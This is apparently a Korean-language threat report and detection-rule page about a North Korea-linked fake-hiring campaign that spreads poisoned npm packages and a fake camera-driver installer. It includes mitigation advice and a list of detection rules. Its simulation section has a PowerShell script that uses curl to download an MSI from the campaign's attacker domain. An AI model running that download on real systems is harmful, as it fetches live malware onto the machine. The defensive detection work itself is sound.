허위 채용 캠페인으로 개발자를 노리는 npm 패키지
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
북한과 연계된 정교한 위협 행위자가 개발자를 손상시키기 위해 가짜 채용 절차를 사용하고 있습니다. 이 캠페인은 사기성이 있는 회사, 중독된 npm 패키지, 악성 ‘카메라 드라이버’ 설치 프로그램을 포함하는 다단계 감염 체인을 따릅니다. LinkedIn 및 GitHub과 같은 신뢰할 수 있는 전문 플랫폼을 악용하여 공격자들은 초기 접촉 시 신뢰성을 높이고 의심을 줄입니다.
조사
JFrog 보안 연구팀은 단일 악성 npm 패키지로부터 AccuraSoftHire라는 완전히 개발된 미끼 회사를 추적했습니다. 조사자들은 가짜 LinkedIn 프로필, 설득력 있는 커리어 웹사이트, 다수의 일회용 npm 계정을 포함하는 조정된 인프라를 발견했습니다. 기술 분석을 통해 리크루터 페르소나, GitHub 프로젝트 저자, npm 패키지 게시자를 공유된 이메일 주소와 반복적인 코드 마커를 통해 연결했습니다.
완화 방안
개발자는 집에서 작성하는 코딩 과제를 신뢰할 수 없는 코드로 간주하고 격리된 일회용 가상 머신이나 컨테이너 내에서만 실행해야 합니다. 특히 curl이나 PowerShell을 사용하는 브라우저를 통해 제공되는 설치 명령어 실행을 피하세요. 조직은 종속성 잠금 파일을 감사하고 예상치 못한 패키지 업데이트나 승인되지 않은 패키지 업데이트를 모니터링함으로써 소프트웨어 공급망 보안을 강화해야 합니다.
대응
의심스러운 npm 패키지나 승인되지 않은 VS 코드 작업 변경 사항이 감지되면 즉시 영향을 받은 워크스테이션을 격리하십시오. 최근 다운로드, 브라우저 활동, 실행된 명령어에 대한 포렌식 분석을 수행하십시오. 승인되지 않은 예약 작업이나 Chrome 네이티브 메시징 호스트와 관련된 새로운 레지스트리 항목이 있는지 확인하십시오. 개발자 자격 증명과 활성 세션을 검토하여 세션 하이재킹의 위험을 줄이십시오.
공격 흐름
우리는 이 부분을 계속 업데이트하고 있습니다.
탐지
잠재적 악성코드 자가 제거 또는 Stderr 은폐 작업 (cmdline을 통해)
의심스러운 NodeJS 인수 (cmdline을 통해)
비정상적인 위치에서 실행 중인 NodeJS 이진 파일 (cmdline을 통해)
의심스러운 NodeJS 하위 프로세스 [Windows] (cmdline을 통해)
의심스러운 CURL 사용 (cmdline을 통해)
아웃바운드 TLS 연결을 시작하는 스크립팅 런타임 (네트워크 연결을 통해)
nohup을 통한 실행 가능성 (cmdline을 통해)
의심스러운 Curl 실행 시도 [MacOS] (cmdline을 통해)
Nohup 사용 (cmdline을 통해)
표준 도구를 통한 원격 파일 업로드 / 다운로드 (cmdline을 통해)
IOCs (SourceIP) 탐지: 감염에서 한 번의 인터뷰
IOCs (DestinationIP) 탐지: 감염에서 한 번의 인터뷰
명령 줄과 노드 실행을 통한 악성 카메라 드라이버 설치 [Windows 프로세스 생성]
가짜 Tailwind CSS 플러그인 및 악성 카메라 드라이버 설치 프로그램 탐지 [Linux 프로세스 생성]
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 공격자의 기술(TTP)의 정밀한 실행을 자세히 설명합니다. 명령어와 설명은 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예는 오진을 초래할 수 있습니다.
-
공격 서사 & 명령: 공격자는 시스템 업데이트로 위장하여 지속성을 수립하려고 합니다. 사회공학 유인 성공 후 공격자는
curl명령어를 사용하여 악성 MSI 파일을 다운로드하고 이를CameraDriverUpdate.msi로 명명하여 시스템 소음에 섞이도록 만듭니다. 즉시 공격자는node -e ""을 실행하여 환경을 테스트하거나 간단한 탐지를 피하는 더 복잡하고 난독화된 JavaScript 페이로드를 준비합니다. 특정 드라이버 테마의 다운로드와 빈 노드 실행의 결합은 탐지 규칙의 주요 트리거입니다. -
회귀 테스트 스크립트:
# 탐지 규칙을 트리거하기 위한 시뮬레이션 스크립트입니다. # 이 스크립트는 Sigma 규칙에서 식별된 특정 문자열을 모방합니다. $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win" $FileName = "CameraDriverUpdate.msi" $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`"" Write-Host "[+] 악성 curl 명령어 실행 중..." -ForegroundColor Yellow Invoke-Expression $FullCurlCmd Write-Host "[+] 빈 노드 명령어 실행 중..." -ForegroundColor Yellow node -e "" Write-Host "[+] 시뮬레이션 완료. SIEM 경고를 확인하십시오." -ForegroundColor Green -
정리 명령:
# 시뮬레이션 중 생성된 아티팩트를 제거하는 정리 스크립트입니다. if (Test-Path "CameraDriverUpdate.msi") { Remove-Item "CameraDriverUpdate.msi" -Force Write-Host "[+] 악성 MSI 아티팩트 제거됨." -ForegroundColor Cyan }